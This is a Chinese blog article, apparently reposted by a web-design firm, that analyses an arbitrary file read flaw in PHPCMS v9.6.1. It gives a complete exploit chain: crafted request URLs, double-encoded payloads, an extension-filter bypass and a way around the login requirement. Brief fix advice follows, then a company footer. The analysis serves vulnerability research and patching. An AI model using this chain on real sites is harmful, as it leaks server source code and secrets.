這篇文章主要介紹了如何使用PHPCMSv9.6.1任意文件讀取漏洞的挖掘,具有一定借鑒價(jià)值,需要的朋友可以參考下。希望大家閱讀完這篇文章后大有收獲。下面讓小編帶著大家一起了解一下。

這里把本次分析中需要掌握的知識(shí)梳理了下:
php原生parse_str方法,會(huì)自動(dòng)進(jìn)行一次urldecode,第二個(gè)參數(shù)為空,則執(zhí)行類(lèi)似extract操作。
原生empty方法,對(duì)字符串""返回true。
phpcms中sys_auth是對(duì)稱(chēng)加密且在不知道auth_key的情況下理論上不可能構(gòu)造出有效密文。
先diff下v9.6.0和v9.6.1,發(fā)現(xiàn)phpcms/modules/content/down.php中有如下修改:
--- a/phpcms/modules/content/down.php
+++ b/phpcms/modules/content/down.php
@@ -14,12 +14,16 @@ class down {
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
+ $a_k = safe_replace($a_k);^M
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
+ $id = intval($id);^M
+ $modelid = intval($modelid);^M
+ $catid = intval($catid);^M
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
@@ -86,6 +90,7 @@ class down {
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
+ $a_k = safe_replace($a_k);^M
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
@@ -118,6 +123,7 @@ class down {
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
+ $fileurl = str_replace(array('<','>'), '',$fileurl);^M
file_down($fileurl, $filename);
}
}主要修改了兩個(gè)方法init()和download(),大膽的猜想估計(jì)是這兩個(gè)函數(shù)出問(wèn)題了。
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//關(guān)鍵點(diǎn)1
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
$a_k = safe_replace($a_k);//關(guān)鍵點(diǎn)2
parse_str($a_k);//關(guān)鍵點(diǎn)3
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$id = intval($id);
$modelid = intval($modelid);
$catid = intval($catid);
......
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//關(guān)鍵點(diǎn)4
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));//關(guān)鍵點(diǎn)5
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
$downurl = $f;
}
} public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//關(guān)鍵點(diǎn)6
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
$a_k = safe_replace($a_k);//關(guān)鍵點(diǎn)7
parse_str($a_k);//關(guān)鍵點(diǎn)8
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//關(guān)鍵點(diǎn)9
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));//關(guān)鍵點(diǎn)11
//遠(yuǎn)程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //關(guān)鍵點(diǎn)12
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);//關(guān)鍵點(diǎn)13
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);//關(guān)鍵點(diǎn)14
//處理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));//關(guān)鍵點(diǎn)15
}
$ext = fileext($filename);//關(guān)鍵點(diǎn)16
$filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl = str_replace(array('<','>'), '',$fileurl);//關(guān)鍵點(diǎn)17
file_down($fileurl, $filename);//關(guān)鍵點(diǎn)18
}
}
}safe_replace函數(shù)如下
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}init方法中根據(jù)原始的$a_k(包含了file_down的文件的基本信息),進(jìn)行一次驗(yàn)證,并且生成,調(diào)用
download方法的url,url的schema為$downurl='?m=content&c=down&a=download&a_k='.$a_k(必須符合一定條件。)
download方法接收到$a_k,進(jìn)行解碼,解出文件信息,調(diào)用file_down($fileurl, $filename)( 必須符合一定條件)
我們來(lái)看下file_down函數(shù),第一個(gè)參數(shù)$filepath,才是實(shí)際控制readfile的文件名的變量,readfile可以讀取本地文件,所以我們構(gòu)造符合條件的$fileurl繞過(guò)上述的限制就可以完成本地文件的讀取功能!
function file_down($filepath, $filename = '') {
if(!$filename) $filename = basename($filepath);
if(is_ie()) $filename = rawurlencode($filename);
$filetype = fileext($filename);
$filesize = sprintf("%u", filesize($filepath));
if(ob_get_length() !== false) @ob_end_clean();
header('Pragma: public');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: '.$filetype);
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);
readfile($filepath);
exit;
}如果我們要讀取站點(diǎn)的.php結(jié)尾文件,由于有關(guān)鍵點(diǎn)11存在,$fileurl中不能出現(xiàn)php,不過(guò)從關(guān)鍵點(diǎn)17可以看到進(jìn)行了替換
$fileurl = str_replace(array('<','>'), '',$fileurl);//關(guān)鍵點(diǎn)17那么可以想到我們構(gòu)造出符合.ph([<>]+)p的文件后綴,最后會(huì)被替換成.php。而且這句話(huà)是9.6.1新增的,更加確定了,這個(gè)漏洞是9.6.1特有的。
再向上上看
if($m) $fileurl = trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10
變量$m為真,那么我們可以通過(guò)引入變量$s來(lái)構(gòu)造$fileurl,且$fileurl由變量$f控制。
$fileurl = trim($f);
$a_k = safe_replace($a_k);//關(guān)鍵點(diǎn)7 parse_str($a_k);//關(guān)鍵點(diǎn)8
通過(guò)parse_str來(lái)extract變量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid變量,看到這里我們可以構(gòu)造$a_k來(lái)控制這些變量。
再向上看
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//關(guān)鍵點(diǎn)6
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);這個(gè)關(guān)鍵點(diǎn)6很重要,因?yàn)檫@里的$pc_auth_key幾乎是不可能暴力出來(lái)的,然而得到這個(gè)加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我們只能通過(guò)init()方法來(lái)構(gòu)造$a_k。
我們現(xiàn)在來(lái)看下init方法
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//關(guān)鍵點(diǎn)1這里可以發(fā)現(xiàn)sys_auth的auth竟然是使用系統(tǒng)默認(rèn)的auth_key,直覺(jué)告訴我可能問(wèn)題出在這里了,除了這個(gè)區(qū)別,init方法別的邏輯就不再贅述。
總結(jié)一下:
index.php?m=content&c=down&a=init&a_k=想辦法構(gòu)造出符合條件的。
然后init方法會(huì)構(gòu)造出符合download方法中能夠解密的$a_k。
通過(guò)對(duì)$a_k進(jìn)行控制,間接控制$i,$f,$m,$s,$d等變量完成漏洞的利用。
對(duì)源碼進(jìn)行快速掃描,看看哪些地方能夠生產(chǎn)對(duì)init方法的調(diào)用,其實(shí)就是常規(guī)的下載模型的邏輯。
phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中會(huì)生成init方法的$a_k
function downfile($field, $value) {
extract(string2array($this->fields[$field]['setting']));
$list_str = array();
if($value){
$value_arr = explode('|',$value);
$fileurl = $value_arr['0'];
if($fileurl) {
$sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : '';
$server_list = getcache('downservers','commons');
if(is_array($server_list)) {
foreach($server_list as $_k=>$_v) {
if($value && is_array($sel_server) && in_array($_k,$sel_server)) {
$downloadurl = $_v[siteurl].$fileurl;
if($downloadlink) {
$a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key')));
$list_str[] = "<a href='".APP_PATH."index.php?m=content&c=down&a_k={$a_k}' target='_blank'>{$_v[sitename]}</a>";
} else {
$list_str[] = "<a href='{$downloadurl}' target='_blank'>{$_v[sitename]}</a>";
}
}
}
}
return $list_str;
}
}
}但是分析發(fā)現(xiàn),content_input和content_output邏輯中權(quán)限驗(yàn)證和限制邏輯比較完善,基本不存在利用可能。
由于是sys_auth是對(duì)稱(chēng)加密,那么能不能找個(gè)使用相同密鑰生成的地方來(lái)生成,對(duì)sys_auth進(jìn)行全文搜索,我們找找有沒(méi)有符合下列條件的上下文
方式是ENCODE
Auth_key是系統(tǒng)默認(rèn)的即:pc_base::load_config('system','auth_key')
且待加密內(nèi)容是可控的(可以是我們$_REQUEST的數(shù)據(jù),或者可以構(gòu)造的)
加密后的數(shù)據(jù)有回顯的。
共找到58個(gè)匹配項(xiàng),但是沒(méi)有符合上下文的,不過(guò)我們可以注意到
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
}
public static function get_cookie($var, $default = '') {
$var = pc_base::load_config('system','cookie_pre').$var;
return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
}param::set_cookie param::get_cookie 對(duì)cookie加密是使用默認(rèn)的auth_key的。
馬上對(duì)set_cookie進(jìn)行全文搜索,并且查找符合下列條件的上下文。
set_cookie的內(nèi)容是可控的。
set_cookie的觸發(fā)條件盡可能的限制小。
一共找到122個(gè)匹配項(xiàng),找到了兩個(gè)比較好的觸發(fā)點(diǎn)。
phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法
video模塊需要管理員權(quán)限,就不考慮了,attachment模塊只要是注冊(cè)用戶(hù)即可調(diào)用。
我們來(lái)看下swfupload_json
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}我們可以通過(guò)src和filename來(lái)構(gòu)造,最終我選的是src,最終形式會(huì)是一個(gè)json串,當(dāng)然有多個(gè)會(huì)以"||"分割。
我們注冊(cè)個(gè)用戶(hù)登錄之后,調(diào)用
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn
產(chǎn)生的數(shù)據(jù)會(huì)是
{"aid":888,"src":"fobnn","filename":""}然后我們得到response.header中的set-cookie ["att_json"]。
1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
我們修改下down.php->init方法,把DECODE之后的$a_k輸出來(lái)。
然后我們調(diào)用
index.php?m=content&c=down&a=init &a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz
激動(dòng)人心,init方法成功DECODE了$a_k
好了目前驗(yàn)證了我們的想法可行,接下來(lái)應(yīng)該構(gòu)造可用的payload了。
目前要解決的就是 從json中parse_str并且能夠解析出$i,$m,$f等變量。
{"aid":888,"src":"fobnn=q&p1=12312","filename":""}解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}
說(shuō)明parse_str還是解析還是可以實(shí)現(xiàn)的,前后閉合一下,中間填充我們需要的變量即可,例如
{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}那么fobnn和p1就是正常解析的,src需要URLENCODE提交,這樣不會(huì)導(dǎo)致php解析錯(cuò)誤。
我們先構(gòu)造一個(gè)符合init方法的$a_k使得能完成正常的流程。
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$id = intval($id);
$modelid = intval($modelid);
$catid = intval($catid);構(gòu)造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用來(lái)滿(mǎn)足條件。
index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d
得到
3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
{"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}然后提交
index.php?m=content&c=down&a=init &a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
成功!頁(yè)面已經(jīng)生成了調(diào)用download方法的url
</head>
<body>
<style type="text/css">
body, html{ background:#FFF!important;}
</style>
<a href="?m=content&c=down&a=download&a_k=a602eCW5tkuTZTtvLeYrcU0kSTKdCLFcNAQ06GE74c9zc6NMUaHAss9zwCa-glxRmBtylSbtrxMNTxy5knsFrZIeC_iCRmj3pTSuQxTHxps3qs4U6pKLIz4y3A" class="xzs_btn"></a>
</body>
</html>目前正常流程已經(jīng)走通,把目光集中在如何構(gòu)造出符合的$fileurl,來(lái)看下init方法中
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
$downurl = $f;
}對(duì)f的限制還是蠻多的,包括常規(guī)黑名單檢測(cè)php,asp等。也不能出現(xiàn)"..",":\"
還好我們看到download函數(shù)中
if($m) $fileurl = trim($s).trim($fileurl);//關(guān)鍵點(diǎn)10
我們可以通過(guò)控制$m就可以通過(guò)$s來(lái)構(gòu)造了,而$m和$s參與了$a_k的構(gòu)造。
在init方法中我們可以構(gòu)造 m=1&s=.php&f=index 類(lèi)似的來(lái)繞過(guò)init方法的檢測(cè),我們把目光聚焦到download方法。
//常規(guī)檢測(cè)代碼就不貼了,$i,$t,$m,$modelid,$t,$ip的檢測(cè)。
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);通過(guò)這樣的構(gòu)造上面這個(gè)檢測(cè)肯定可以繞過(guò),但發(fā)現(xiàn)下面檢測(cè)就會(huì)出問(wèn)題,最后$fileurl還是會(huì)變成index.php
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
//遠(yuǎn)程文件好在快速掃描中看到的
$fileurl = str_replace(array('<','>'), '',$fileurl);//關(guān)鍵點(diǎn)17另外又看到
if($d == 0) {
header("Location: ".$fileurl);那么構(gòu)造出 d=1&m=1&f=.p<hp&s=index 這樣的payload就可以繞過(guò)檢測(cè),實(shí)現(xiàn)漏洞利用,當(dāng)然期間涉及一些編碼轉(zhuǎn)換就不再贅述了。
最終pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p<hp&s=index&pade=
由于safe_replce的存在所以<會(huì)被過(guò)濾掉,前置知識(shí)中我已經(jīng)說(shuō)到parse_str會(huì)自動(dòng)encode一次。
所以可以構(gòu)造
d=1&m=1&f=.p%3chp&s=index
我們發(fā)現(xiàn)在init方法中會(huì)safe_replace一次,和parse_str一次。
那么最終編碼到download $a_k中的數(shù)據(jù)實(shí)際還是<,而download方法中也會(huì)safe_replace和parse_str一次。
所以我們要確保在init方法編碼的時(shí)候是%3c即可,對(duì)%3c進(jìn)行一次urlencode,構(gòu)造
d=1&m=1&f=.p%253chp&s=index
當(dāng)然要讀取別的目錄的,那同樣對(duì)目錄路徑進(jìn)行編碼。
以讀取首頁(yè)index.php為例
pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade= index.php?m=attachment&c=attachments&a=swfupload_json&aid=1 &src=pad%3dx%26i%3d1%26modelid%3d1%26catid%3d1%26d%3d1%26m%3d1%26f%3d.p%25253chp%26s%3dindex%26pade%3d
8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ
{"aid":1,"src":"pad=x&i=1&modelid=1&catid=1&d=1&m=1&f=.p%253chp&s=index&pade=","filename":""}index.php?m=content&c=down&a=init&a_k=8862Fewa0VoDAmDaEWXtUnQ817naJmAG9DYlUPmB8QpBl8Fi91_XvW8ngzKBGBJkxn8Ms-sHcBkGNtosnd_ZjshNlyQvOrC2ZFMSPubno6rDiuALAVAcchHVRGTtNRYMAiwMTIJ4OVMmgPwjbu1I0FLmurCLMFAWeyQ
index.php?m=content&c=down&a=download&a_k=e5586zx1k-uH8PRhk2ZfPApV5cxalMnAJy46MpO8iy7DgyxWqwZHqFVpQJTxDmmUJxrF0gx_WRIv-iSKq2Z8YEWc-LRXIrr9EgT-pAEJtGGBUcVCOoI3WlMdxajPdFuIqpsY
最終提示下載文件,文件下載成功,打開(kāi)來(lái)看確實(shí)是index.php內(nèi)容。
class attachments {
private $att_db;
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判斷是否登錄
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}可以發(fā)現(xiàn)
sys_auth($_POST['userid_flash'],'DECODE')
可控制$this->userid且沒(méi)有復(fù)雜的權(quán)限校驗(yàn),而且又是默認(rèn)AUTH_KEY加密的。
全文找下無(wú)限制可以set_cookie的,發(fā)現(xiàn)WAP模塊可以利用
pc_base::load_sys_class('format', '', 0);
class index {
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}沒(méi)有任何條件限制我們可以$_GET['siteid']來(lái)控制param::set_cookie('siteid',$this->siteid),且默認(rèn)都有WAP模塊的文件,但不需要開(kāi)啟。
流程如下:
index.php?m=wap&c=index&siteid=1 獲取名稱(chēng)為siteid的cookie。
訪(fǎng)問(wèn)index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
&src=想要讀取文件的payload,并且訪(fǎng)問(wèn)的時(shí)候設(shè)置post字段userid_flash為步驟一獲取的cookie.
響應(yīng)成功之后,獲取名稱(chēng)為att_json的cookie
訪(fǎng)問(wèn)index.php?m=content&c=down&a=init&a_k=獲取到的att_json,來(lái)構(gòu)造最終漏洞利用路徑,
可以直接截取生成的$a_k
訪(fǎng)問(wèn)index.php?m=content&c=download&a=init&a_k=截取的$a_k.完成利用。
init方法中的$a_k 加解密sys_auth不要采用默認(rèn)密鑰。
file_down之前對(duì)$fileurl再做一次過(guò)濾。
感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享如何使用PHPCMSv9.6.1任意文件讀取漏洞的挖掘內(nèi)容對(duì)大家有幫助,同時(shí)也希望大家多多支持創(chuàng)新互聯(lián)網(wǎng)站建設(shè)公司,,關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,遇到問(wèn)題就找創(chuàng)新互聯(lián)網(wǎng)站建設(shè)公司,,詳細(xì)的解決方法等著你來(lái)學(xué)習(xí)!
文章標(biāo)題:如何使用PHPCMSv9.6.1任意文件讀取漏洞的挖掘-創(chuàng)新互聯(lián)
標(biāo)題鏈接:http://www.chinadenli.net/article40/pdgho.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站設(shè)計(jì)、自適應(yīng)網(wǎng)站、服務(wù)器托管、云服務(wù)器、網(wǎng)站改版、小程序開(kāi)發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容